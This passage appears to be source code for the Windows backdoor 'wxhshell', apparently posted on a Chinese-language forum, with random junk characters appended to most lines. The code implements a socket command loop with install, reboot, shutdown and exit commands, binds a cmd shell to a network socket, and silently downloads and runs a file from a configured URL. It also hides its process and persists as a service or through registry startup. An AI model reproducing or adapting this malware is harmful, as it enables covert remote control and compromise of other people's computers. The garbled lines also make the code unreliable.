  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nwmW.(R4  
  } X.FGBR7=q  
  else { w>e s  
igC_)C^i>  
    switch(cmd[0]) { M.[rLJZ4  
  EWj gI_-  
  // 帮助 "%6/a7S  
  case '?': { V/%~F6e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V diJ>d[  
    break; #FH[hRo=6  
  } v=?2S  
  // 安装 s?C&s|'.  
  case 'i': { @xAfZb2E  
    if(Install()) Z`Z5sj 4{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -{jdn%Y7CK  
    else . iwZ*b{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pA}S5x  
    break; r ?m6$  
    } R 9 4^4I  
  // 卸载 I)SG wt-  
  case 'r': { z(13~38+  
    if(Uninstall()) wvby?MhPY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z rfUQO  
    else O7G"sT1Dv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kcuzB+  
    break; =E*Gb[r_7  
    } Y.6SOu5$]  
  // 显示 wxhshell 所在路径 u bW]-U=T  
  case 'p': { xTz%nx  
    char svExeFile[MAX_PATH]; O XP\R  
    strcpy(svExeFile,"\n\r"); g(4bBa9y  
      strcat(svExeFile,ExeFile); n/4i|-^  
        send(wsh,svExeFile,strlen(svExeFile),0); mY7>(M{  
    break; qxOi>v0\H  
    } [1yq{n=  
  // 重启 0JjUAxNq  
  case 'b': { v6=-g$FG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R[B?C;+(O  
    if(Boot(REBOOT)) EnVuD 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pY"O9x  
    else { (5Nv8H8|  
    closesocket(wsh); +0l`5."d  
    ExitThread(0); 2?q(cpsN  
    } "sUyHt-&  
    break; h*i9m o  
    } /~p+j{0L3W  
  // 关机 =/0=$\Ws  
  case 'd': { {w6/[ -^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Ityi}  
    if(Boot(SHUTDOWN)) .ic:`1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/X(V|t  
    else { RP4Ku9hk  
    closesocket(wsh); ~ 5"JzT  
    ExitThread(0); @OpNHQat9  
    } /0MDISQy9  
    break; *# {z3{+  
    } ?Bi*1V<R  
  // 获取shell z(y*hazK  
  case 's': { Di.3113t  
    CmdShell(wsh); Xd `vDgD  
    closesocket(wsh); $A_]:qI2  
    ExitThread(0); Q>< 0[EPj3  
    break; <.K4JlbT  
  } 9LJZ-/Wq  
  // 退出 YX*x&5]lq  
  case 'x': { !D^c3d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `{v?6:G:Q  
    CloseIt(wsh); BqK(DH^9N  
    break; t<iEj"5  
    } X;F8_+Np  
  // 离开 I^\&y(LJF  
  case 'q': { *XOJnyC_H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &EGqgNl  
    closesocket(wsh); q'[}9e`Q  
    WSACleanup(); (rtY!<|p  
    exit(1); |OO in]5  
    break; WiL2  
        } lCd@jB{  
  } }n:?7  
  } >R,'5:Rw  
U&Wwyu:4i  
  // 提示信息 pmvT$;7I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^"\s eS  
} 8 )*2@-Rp  
  } jhgX{xc  
*A'FC|\  
  return; DE$q+j0P  
} g^Yl TB  
>r@.F%  
// shell模块句柄 Bh`N[\r  
int CmdShell(SOCKET sock) +avMX&%  
{ 9LnN$e  
STARTUPINFO si; X!hIwiA,t  
ZeroMemory(&si,sizeof(si)); E(pF:po  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {PU!=IkTS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'wasZ b<^  
PROCESS_INFORMATION ProcessInfo; Oc].@Jy  
char cmdline[]="cmd"; Df =dt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YV% 5y1 i  
  return 0; pW0dB_  
} :e1o<JgPt  
!`JHH&  
// 自身启动模式 aVs(EHF  
int StartFromService(void) T  VmH  
{ ^[E' 1$D  
typedef struct Ox!U8g8c  
{ L WoG4s?w  
  DWORD ExitStatus; h5_G4J{1  
  DWORD PebBaseAddress; p^kUs0$GS  
  DWORD AffinityMask; 85:NFa@J  
  DWORD BasePriority; %sBAl.!BN  
  ULONG UniqueProcessId; &.13dq  
  ULONG InheritedFromUniqueProcessId; MB ju![n  
}   PROCESS_BASIC_INFORMATION; j1q[2'  
s.Y4pWd5@  
PROCNTQSIP NtQueryInformationProcess; =;a!u  
Di_2Plo)4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5wao1sd#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )4U> !KrY  
w.\w1:d  
  HANDLE             hProcess; -{XRA6  
  PROCESS_BASIC_INFORMATION pbi; O`Gs S{$sS  
r~-.nb"P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {#P `^g  
  if(NULL == hInst ) return 0; >>b3ZE|5  
,C.:;Ime({  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D-Vai#Cd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AE`We$!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X[s8X!#  
]?1Y e8>Y<  
  if (!NtQueryInformationProcess) return 0; SnlyUP~P  
Pz#7h*;cw.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qSqI7ptA\  
  if(!hProcess) return 0; 1 2++RkL#  
up3O|lj4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -4rDbDsr  
kd:$oS_*s  
  CloseHandle(hProcess); c3*t_!@oC  
SKuIF*"! S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )0vU k  
if(hProcess==NULL) return 0; EFuvp8^y  
W!blAkM%i  
HMODULE hMod; mME 4 l  
char procName[255]; n~V4nj&_T  
unsigned long cbNeeded; B_U{ s\VY  
FsB^CxVg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,t{,_uPJY  
)3YtIH_  
  CloseHandle(hProcess); 4h!f/aF'  
xqXDxJlns  
if(strstr(procName,"services")) return 1; // 以服务启动 t>GfM  
(bOpV>\Q7  
  return 0; // 注册表启动 Tu{&v'!j6  
} :WI.LKlo~  
.x`M<L#M(  
// 主模块 \;-fi.Hrf$  
int StartWxhshell(LPSTR lpCmdLine) |6UtW{2I/  
{ \$aF&r<R  
  SOCKET wsl; \~d";~Y`  
BOOL val=TRUE; V@7KsB  
  int port=0; K3uG2g(>2  
  struct sockaddr_in door; oRKEJ Nps  
KIA 2"KbjG  
  if(wscfg.ws_autoins) Install(); jV#ahNq;  
n?\ nn3  
port=atoi(lpCmdLine); `nKH"TaX  
)b<k#(i@#  
if(port<=0) port=wscfg.ws_port; fP tm0.r  
(>6*#9#p  
  WSADATA data; +x9cT G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #j#_cImE  
|py6pek|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uPYmHA} _/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gj\)CBOv  
  door.sin_family = AF_INET; q#Zs\PD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZvYLL{>}w  
  door.sin_port = htons(port); QB:i/9  
4k/V BZB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E3@QI?n^^  
closesocket(wsl); {mWui9 %M  
return 1; [S.ZJUns  
} RT93Mt%P  
< v]3g  
  if(listen(wsl,2) == INVALID_SOCKET) { <R%;~){  
closesocket(wsl); 6Ao%>;e*  
return 1; LA_3=@2.H  
} JG C=(;  
  Wxhshell(wsl); *`j-i  
  WSACleanup(); _A<u#.yd  
}?cGf- c  
return 0; 5qg2Zc~  
+jg9$e"  
} JOjoiA  
5Zmw} M  
// 以NT服务方式启动 ml@2wGyf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tNsPB6 Z  
{ ,D\GGRw  
DWORD   status = 0; cJM:  
  DWORD   specificError = 0xfffffff; <APB11  
mrm^e9*Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >FhK #*Pa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ) \Y7&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>EgG5iJ  
  serviceStatus.dwWin32ExitCode     = 0; 7NC=*A~  
  serviceStatus.dwServiceSpecificExitCode = 0; 1h*)@  
  serviceStatus.dwCheckPoint       = 0; 9ukg}_Hx  
  serviceStatus.dwWaitHint       = 0; D+ ~_TA  
s[8@*/ds  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2&+#Vsm`V  
  if (hServiceStatusHandle==0) return; J--m[X  
T081G`li  
status = GetLastError(); J7C4V'_  
  if (status!=NO_ERROR) P5lqSA{6  
{ r]W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7nbB^2  
    serviceStatus.dwCheckPoint       = 0; _#$ *y  
    serviceStatus.dwWaitHint       = 0; ?JV|dM  
    serviceStatus.dwWin32ExitCode     = status; 6"c1;P!4   
    serviceStatus.dwServiceSpecificExitCode = specificError; 'Dvv?>=&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pLMRwgzr  
    return; :Rs^0F8)c  
  } "MIq.@8ra  
c}3W:}lW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i"|$(2  
  serviceStatus.dwCheckPoint       = 0; @fu M)B1"  
  serviceStatus.dwWaitHint       = 0;  )>D+x5o]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g}p;\o   
} V\V)<BARe  
\4"S7.% |  
// 处理NT服务事件,比如:启动、停止 `@i5i((  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z%GTnG|rG  
{ 1!pa;$L  
switch(fdwControl) r>jC_7  
{ tbnH,*  
case SERVICE_CONTROL_STOP: ~gz^Cdh  
  serviceStatus.dwWin32ExitCode = 0; fN"( mW>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;q0uE:^ S  
  serviceStatus.dwCheckPoint   = 0; {lth+{&L#  
  serviceStatus.dwWaitHint     = 0; `mye}L2I  
  { CG'.:` t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lpH=2l$>?  
  } Ro2d,'   
  return; O D Ur  
case SERVICE_CONTROL_PAUSE: 9N%JP+<89  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H _Va"yTO6  
  break; nhG J  
case SERVICE_CONTROL_CONTINUE: "O8gJ0e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \5Vde%!$Z  
  break; Hi_ G  
case SERVICE_CONTROL_INTERROGATE: = 8gHS[  
  break; =)O,`.M.Y  
}; ogFKUD*h&>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{NX8lN  
} z} '!eCl  
*m%]zj0bo  
// 标准应用程序主函数 i(? ,6)9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {cpEaOyOM  
{ aA-  
#_mi `7!B#  
// 获取操作系统版本 DF6c|  
OsIsNt=GetOsVer(); qS&%!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vK$"# F~  
g'];Estb~  
  // 从命令行安装 9 2MTX Osp  
  if(strpbrk(lpCmdLine,"iI")) Install(); [FUjnI  
<o2r~E0r3  
  // 下载执行文件 `.y}dh/+0W  
if(wscfg.ws_downexe) { d--y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x.1-)\  
  WinExec(wscfg.ws_filenam,SW_HIDE); !ZDzEP*  
} m\/ Tj0e  
:S$l"wrh\  
if(!OsIsNt) { a?yMHb{F  
// 如果时win9x,隐藏进程并且设置为注册表启动 yT{8d.Rh  
HideProc(); ^I KO2Ft  
StartWxhshell(lpCmdLine); `IYuz:  
} b;|55Y  
else M4ozTp<$O  
  if(StartFromService()) K/ &?VIi`z  
  // 以服务方式启动 ND<!4!R^  
  StartServiceCtrlDispatcher(DispatchTable); 8@NH%zWBp  
else :Q+5,v-c  
  // 普通方式启动 I ];M7  
  StartWxhshell(lpCmdLine); ylKmj]A  
9+,R`v  
return 0; K;7f?52  
}
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只看该作者 1 发表于: 2006-10-10
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